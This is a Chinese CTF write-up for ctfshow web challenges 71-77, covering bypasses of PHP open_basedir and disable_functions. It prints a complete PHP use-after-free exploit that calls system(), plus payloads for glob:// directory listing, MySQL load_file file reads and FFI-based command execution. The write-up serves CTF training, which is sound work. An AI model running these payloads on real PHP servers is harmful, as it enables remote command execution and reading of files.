当前位置: 首页 > news >正文

CTFSHOW-WEB入门-命令执行71-77

  1. 题目:web 71
    1. 题目:
    2. 解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:c=var_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)这种情况我也有点懵:后来仔细一看,这里给出了源码:简要分析以下代码,在执行$c中的代码之后,首先是获取缓存区的内容,然后将其中的数字字母全部换为?,同时清空缓存区,于是这里出现可开头的一幕,全部都是?,那么我们需要在替换之前让其程序结束掉,不进行替换?的操作,这样就可以得到源文本:再次获取根目录内容—添加一个exit()函数或者die()函数均可:使用include()函数读取:得到flag
  2. 题目:web 72
    1. 题目:源码:题目进入后的报错提示:
    2. 解题思路:首先沿用上题的思路试一试:查看根目录内容:但是第一步就悲剧:这段警告是说:scandir() 函数尝试访问一个不在 open_basedir 允许路径内的目录。open_basedir 是一个 PHP 配置指令,用于限制 PHP 脚本能够访问的目录。 只有指定的目录才可以访问。于是(1)首要任务变成了要找出flag所在的目录,查找大佬 的wp发现此题可以使用一种新的思路来找目录:利用php伪协议 glob://
<?php 
//获取一个DirectoryIterator的对象  
//DirectoryIterator 是 PHP 的一个内置类,用于提供一个面向对象的接口来遍历目录。
//glob:// 流包装器:
//glob:// 是 PHP 的一个流包装器,允许你使用与 glob() 函数相同的模式匹配语法来指定文件路径。
//"glob:///*" 意图是匹配根目录下的所有文件和目录。$a = new DirectoryIterator("glob:///*");foreach ($a as $f) {//遍历$a 目录下的所有路径,以字符串的形式打印出来,间隔空格echo ($f->__toString().' ');} exit(0); 
?>
    1. 找flag所在目录,利用到上述代码:(这里的?>可以不加,因为eval('  ')里面的?>是不会闭合外层函数的,会将里面的内容当作一个完整的PHP代码进行执行)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

通过这种方法我们得到了flag所在目录:

    2. 第二步想办法查看flag内容,先用一下include发现不行:![](https://i-blog.csdnimg.cn/img_convert/ec871864a68d9b5873b8d19527dc447f.png)这里又是第二个坎,由于include函数被禁了于是,找大佬的wp,得到一个可以执行PHP系统命令的脚本,适用于类unix的系统: 如Linux或macOS  
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat flag0.txt");ob_end_flush();
?>

于是将其进行url编码传给c变量:得到flag:

3. 知识点: 利用glob://协议读取文件目录   利用脚本绕过PHP的限制执行命令
  1. 题目:web 73
    1. 题目:
    2. 解题思路:本题与上一题类似,先采取上一个题目的获取根目录内容,找flag的位置的解法:使用glob伪协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得出flag的位置在根目录下的flagc.txt:x想方法查看文件内容:include试一试:发现可行:试一试上一题的脚本:发现被过滤了(2)另解:这道题过滤没有那么严格,于是可以利用之前的c=var_export(scandir(‘/’));exit();然后使用include或者readgzfile()查看文件也可以。
  2. 题目:web 74
    1. 题目:
    2. 解题思路:先试一试scandir叭:发现被禁了:只好采用glob协议读取根目录内容:发现flag的地方之后,想办法读取:使用include() 包含使用功能类似的表示
1.遍历文件系统
(1) scandir():
功能:返回指定目录中的文件和目录列表。
示例:scandir('../../..');
注意:返回的是文件和目录名的数组,不包括完整路径。
(2) DirectoryIterator 类:
功能:提供了一个面向对象的接口来遍历目录。
示例: php代码:
$iterator = new DirectoryIterator('../../..');
foreach ($iterator as $fileinfo) {if ($fileinfo->isDot()) continue;echo $fileinfo->getFilename() . "\n";
}
注意:提供了更丰富的目录遍历功能,包括过滤和访问文件信息。
2.输出变量信息
(1)var_dump():
功能:输出变量的详细信息,包括类型和值。
示例:var_dump(glob('../../..'.'/*'));
注意:输出格式是为人类阅读设计的,不是合法的PHP代码。
(2)print_r():
功能:以人类可读的格式打印数组或对象。
示例:print_r(glob('../../..'.'/*'));
注意:输出格式更简洁,但同样不是合法的PHP代码。
(3)json_encode():
功能:将PHP变量转换为JSON格式的字符串。
示例:echo json_encode(glob('../../..'.'/*'));
注意:输出是JSON格式的字符串,可以在JavaScript等环境中使用。
    1. 于是我们还可以使用echo结合json_encode:c=echo json_encode(glob('../../..'.'/*'));exit();同样得到目录:或者var_export(glob('../../..'.'/*'))----这里使用的是glob()函数![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738639099957-1dc1a577-e2a6-438b-bf09-ab5be2373498.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738639140211-28039947-cc86-4b38-91e4-8c3b3eb2e0fb.png)然后在利用include或者readgzfile读取文件内容
3. 知识点:查看变量信息的几种表示  1.var_dump()2.var_export()   3.print_r()   4.json_encode()
  1. 题目:web 75
    1. 题目:
    2. 解题思路:先试一下scandir:发现被禁了:于是再想办法使用glob函数:发现失败了:说明glob函数被禁用了但是在 PHP 中,<font style="color:rgb(251, 71, 135);">glob</font> 函数的行为是独立的,即使 <font style="color:rgb(251, 71, 135);">glob</font> 函数被禁用,使用 <font style="color:rgb(251, 71, 135);">DirectoryIterator</font><font style="color:rgb(251, 71, 135);">glob://</font> 流也是一种不同的机制,不会直接受到 <font style="color:rgb(251, 71, 135);">glob</font> 函数禁用的影响。 也就是说我们还可以使用glob协议: c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得到flag的位置:想办法读取:include ()函数被禁:想其他办法:readgzfile():也被禁了思路断了,去看看提示,提示给的第二个payload:上传得到了结果看看上传的是啥:
try {//创建 PDO 实例, 连接 MySQL 数据库( 主机名 数据库名 用户名 密码)//由于pdo对象提供了可以query()方法可以执行sql语句,于是这里才可以使用load_file函数$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
//这里的数据库名可以用information_schema代替,表示所有数据库
//ctftraining是根据之前ctfshow题目经验推测的//在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。// $row 代表的是字符串的每一行//SELECT load_file("/flag36.txt") 是一个有效的 MySQL 查询,//它请求 MySQL 使用 load_file 函数读取指定路径的文件内容。//这块 SQL 是在 PHP 中编写的,但它的执行是在 MySQL 数据库内部进行的。foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";//输出完一行之后用|隔开}
// 关闭数据库$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}
// 整体逻辑是利用try catch执行一个可能引发错误的语句,如果真的有异常会捕获异常并退出,
// 无异常就正常结束
exit(0);
3. 知识点:利用数据库函数load_file(合法路径)读取文件内容
  1. 题目:web 76
    1. 题目:
    2. 解题思路:采取类似的方法获取flag位置—借助glob协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>得到flag位置:读取文件内容:试试连接数据库,借助pdo对象的query()函数,使用sql函数load_file:得到结果
    3. 知识点:与上一题类似,复习巩固
  2. 题目:web 77
    1. 题目:
    2. 解题思路:首先的话,先看看这个根目录的内容:使用glob协议:发现有两个与flag有关系的文件:flag36.txt和readflag,我们都试着查看一下:借助sql的load_file函数:flag36x.txt内容:readflag内容:同样的这个时候发现有点猫腻,应该是这种方法行不通了,有仔细看看题目:发现题目特别说明了php版本是7.4:通过插件查看php版本,确实是7.4以上的:于是乎上网查看PHP7.4版本以上的命令执行漏洞:找到了一种新思路,由于php7.4以上增加了ffi拓展,这个拓展允许我们直接调用c库里面的函数,甚至可以绕过一些PHP层面的限制,执行c库里面的命令,从而达到命令执行的目的。
      1. 根据题目给的payload:这段代码的意思是利用php的ffi拓展,创建一个ffi对象,利用这个对象调用C库里面的system函数,将readflag重定向为1.txt:代码解析:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,作用是将readflag文件重定向为一个1.txt文件,之前遇到过readflag文件。
//他是一个二进制文件,为可执行文件
$ffi->system($a);//通过$ffi去调用system函数
    2. 执行之后发现没有回显,于是就进行访问:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738650375927-28b0ca41-925a-4517-96c2-6af725018e7a.png)
3. 知识点:php7.4的ppi拓展利用[https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187](https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187)1. 本题目使用的是第四点 <font style="color:#0d0016;">利用FFI:cdef 绕过 disabled_function进行rce</font>

相关文章:

CTFSHOW-WEB入门-命令执行71-77

题目&#xff1a;web 71 题目&#xff1a;解题思路&#xff1a;分析可知highlight_file() 函数被禁了&#xff0c;先想办法看看根目录&#xff1a;cvar_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇&#xff1a;&#xff08;全是&#xff1f;&#xff09;这种情况我也…...

浅谈《图解HTTP》

感悟 滑至尾页的那一刻&#xff0c;内心突兀的涌来一阵畅快的感觉。如果说从前对互联网只是懵懵懂懂&#xff0c;但此刻却觉得她是如此清晰而可爱的呈现在哪里。 介绍中说&#xff0c;《图解HTTP》适合作为第一本网络协议书。确实&#xff0c;它就像一座桥梁&#xff0c;连接…...

LLMs瞬间获得视觉与听觉感知,无需专门训练:Meta的创新——在图像、音频和视频任务上实现最优性能。

引言&#xff1a; 问题&#xff1a; 当前的多模态任务&#xff08;如图像、视频、音频描述生成、编辑、生成等&#xff09;通常需要针对特定任务训练专门的模型&#xff0c;而现有的方法在跨模态泛化方面存在局限性&#xff0c;难以适应新任务。此外&#xff0c;多模态嵌入反演…...

自研有限元软件与ANSYS精度对比-Bar3D2Node三维杆单元模型-央视大裤衩实例

目录 1、“央视大裤衩”自研有限元软件求解 1.1、选择单元类型 1.2、导入“央视大裤衩”工程 1.3、节点坐标定义 1.4、单元连接关系、材料定义 1.5、约束定义 1.6、外载定义 1.7、矩阵求解 1.8、变形云图展示 1.9、节点位移 1.10、单元应力 1.11、节点支反力 2、“…...

kubernetes 高可用集群搭建

在生产环境中部署 Kubernetes 集群时&#xff0c;确保其高可用性&#xff08;High Availability, HA&#xff09;是至关重要的。高可用性不仅意味着减少服务中断时间&#xff0c;还能提高系统的稳定性和可靠性。本文将详细介绍如何搭建一个高可用的 Kubernetes 集群&#xff0c…...

【C++】STL——vector底层实现

目录 &#x1f495; 1.vector三个核心 &#x1f495;2.begin函数&#xff0c;end函数的实现&#xff08;简单略讲&#xff09; &#x1f495;3.size函数&#xff0c;capacity函数的实现 &#xff08;简单略讲&#xff09; &#x1f495;4.reserve函数实现 &#xff08;细节…...

数据结构初探:链表之单链表篇

本文图皆为作者手绘,所有代码基于vs2022运行测试 系列文章目录 数据结构初探:顺序表篇 文章目录 系列文章目录前言一、链表基础概念二、链表的分类简化边界条件处理使代码更清晰简洁提高程序稳定性 1.单链表(不带头不循环的单链表);1.1存储结构;1.2准备工作1.3链表增删查改的实…...

介绍一下Mybatis的底层原理(包括一二级缓存)

表面上我们的就是Sql语句和我们的java对象进行映射&#xff0c;然后Mapper代理然后调用方法来操作数据库 底层的话我们就涉及到Sqlsession和Configuration 首先说一下SqlSession&#xff0c; 它可以被视为与数据库交互的一个会话&#xff0c;用于执行 SQL 语句&#xff08;Ex…...

Linux基础 ——tmux vim 以及基本的shell语法

Linux 基础 ACWING y总的Linux基础课&#xff0c;看讲义作作笔记。 tmux tmux 可以干嘛&#xff1f; tmux可以分屏多开窗口&#xff0c;可以进行多个任务&#xff0c;断线&#xff0c;不会自动杀掉正在进行的进程。 tmux – session(会话&#xff0c;多个) – window(多个…...

64位的谷歌浏览器Chrome/Google Chrome

64位的谷歌浏览器Chrome/Google Chrome 在百度搜索关键字:chrome&#xff0c;即可下载官方的“谷歌浏览器Chrome/Google Chrome”&#xff0c;但它可能是32位的&#xff08;切记注意网址&#xff1a;https://www.google.cn/....&#xff0c; 即&#xff1a;google.cn&#xff…...

jetson编译torchvision出现 No such file or directory: ‘:/usr/local/cuda/bin/nvcc‘

文章目录 1. 完整报错2. 解决方法 1. 完整报错 jetson编译torchvision,执行python3 setup.py install --user遇到报错 running build_ext error: [Errno 2] No such file or directory: :/usr/local/cuda/bin/nvcc完整报错信息如下&#xff1a; (pytorch) nxnx-desktop:~/Do…...

多线程创建方式三:实现Callable接口

实现Callable第三种方式存在的原因 作用&#xff1a;可以返回线程执行完毕后的结果。 前两种线程创建方式都存在的一个问题&#xff1a;假如线程执行完毕后有一些数据需要返回,他们重写的run方法均不能直接返回结果。 如何实现 ● JDK 5.0提供了Callable接口和FutureTask类来…...

Linux下的编辑器 —— vim

目录 1.什么是vim 2.vim的模式 认识常用的三种模式 三种模式之间的切换 命令模式和插入模式的转化 命令模式和底行模式的转化 插入模式和底行模式的转化 3.命令模式下的命令集 光标移动相关的命令 复制粘贴相关命令 撤销删除相关命令 查找相关命令 批量化注释和去…...

Docker技术相关学习二

一、Docker简介 1.Docker之父Solomon Hykes形容docker就像传统的货运集装箱。 2.docker的特点和优势&#xff1a; 轻量级虚拟化&#xff1a;Docker容器相较于传统的虚拟机更加的轻量和高效&#xff0c;能够快速的启动和停止来节省系统资源。 一致性&#xff1a;确保应用程序在不…...

【人工智能】多模态学习在Python中的应用:结合图像与文本数据的深度探索

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 多模态学习是人工智能领域的一个重要研究方向,旨在通过结合多种类型的数据(如图像、文本、音频等)来提高模型的性能。本文将深入探讨多模…...

【MySQL】常用语句

目录 1. 数据库操作2. 表操作3. 数据操作&#xff08;CRUD&#xff09;4. 高级查询5. 索引管理6. 用户与权限7. 数据导入导出8. 事务控制9. 其他实用语句注意事项 如果这篇文章对你有所帮助&#xff0c;渴望获得你的一个点赞&#xff01; 1. 数据库操作 创建数据库 CREATE DATA…...

Docker网络基础

一、Docker网络基础 1.docker安装后会自动创建3中网络&#xff0c;分别为bridge host none docker network ls 2.docker原生bridge网络&#xff1a; docker安装时会创建一个名为docker0的linux bridge,新建的容器会自动桥接到这个接口 bridge模式下没有公有ip,只有宿主机可以…...

重新刷题求职2-DAY2

977. 有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 示例 1&#xff1a; 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后…...

[STM32 标准库]EXTI应用场景 功能框图 寄存器

一、EXTI 外部中断在嵌入式系统中有广泛的应用场景&#xff0c;如按钮开关控制&#xff0c;传感器触发&#xff0c;通信接口中断等。其原理都差不多&#xff0c;STM32会对外部中断引脚的边沿进行检测&#xff0c;若检测到相应的边沿会触发中断&#xff0c;在中断中做出相应的处…...

Slint的学习

Slint是什么 Slint是一个跨平台的UI工具包&#xff0c;支持windows,linux,android,ios,web&#xff0c;可以用它来构建申明式UI,后端代码支持rust,c,python,nodejs等语言。 开源地址&#xff1a;https://github.com/slint-ui/slint 镜像地址&#xff1a;https://kkgithub.com/…...

国防科技大学计算机基础课程笔记02信息编码

1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制&#xff0c;因此这个了16进制的数据既可以翻译成为这个机器码&#xff0c;也可以翻译成为这个国标码&#xff0c;所以这个时候很容易会出现这个歧义的情况&#xff1b; 因此&#xff0c;我们的这个国…...

Java 语言特性(面试系列2)

一、SQL 基础 1. 复杂查询 &#xff08;1&#xff09;连接查询&#xff08;JOIN&#xff09; 内连接&#xff08;INNER JOIN&#xff09;&#xff1a;返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...

YSYX学习记录(八)

C语言&#xff0c;练习0&#xff1a; 先创建一个文件夹&#xff0c;我用的是物理机&#xff1a; 安装build-essential 练习1&#xff1a; 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件&#xff0c;随机修改或删除一部分&#xff0c;之后…...

【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)

要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况&#xff0c;可以通过以下几种方式模拟或触发&#xff1a; 1. 增加CPU负载 运行大量计算密集型任务&#xff0c;例如&#xff1a; 使用多线程循环执行复杂计算&#xff08;如数学运算、加密解密等&#xff09;。运行图…...

Spring数据访问模块设计

前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据&#xff08;数据库、No…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

LLMs 系列实操科普(1)

写在前面&#xff1a; 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容&#xff0c;原视频时长 ~130 分钟&#xff0c;以实操演示主流的一些 LLMs 的使用&#xff0c;由于涉及到实操&#xff0c;实际上并不适合以文字整理&#xff0c;但还是决定尽量整理一份笔…...

C语言中提供的第三方库之哈希表实现

一. 简介 前面一篇文章简单学习了C语言中第三方库&#xff08;uthash库&#xff09;提供对哈希表的操作&#xff0c;文章如下&#xff1a; C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...

DeepSeek源码深度解析 × 华为仓颉语言编程精粹——从MoE架构到全场景开发生态

前言 在人工智能技术飞速发展的今天&#xff0c;深度学习与大模型技术已成为推动行业变革的核心驱动力&#xff0c;而高效、灵活的开发工具与编程语言则为技术创新提供了重要支撑。本书以两大前沿技术领域为核心&#xff0c;系统性地呈现了两部深度技术著作的精华&#xff1a;…...

渗透实战PortSwigger靶场:lab13存储型DOM XSS详解

进来是需要留言的&#xff0c;先用做简单的 html 标签测试 发现面的</h1>不见了 数据包中找到了一个loadCommentsWithVulnerableEscapeHtml.js 他是把用户输入的<>进行 html 编码&#xff0c;输入的<>当成字符串处理回显到页面中&#xff0c;看来只是把用户输…...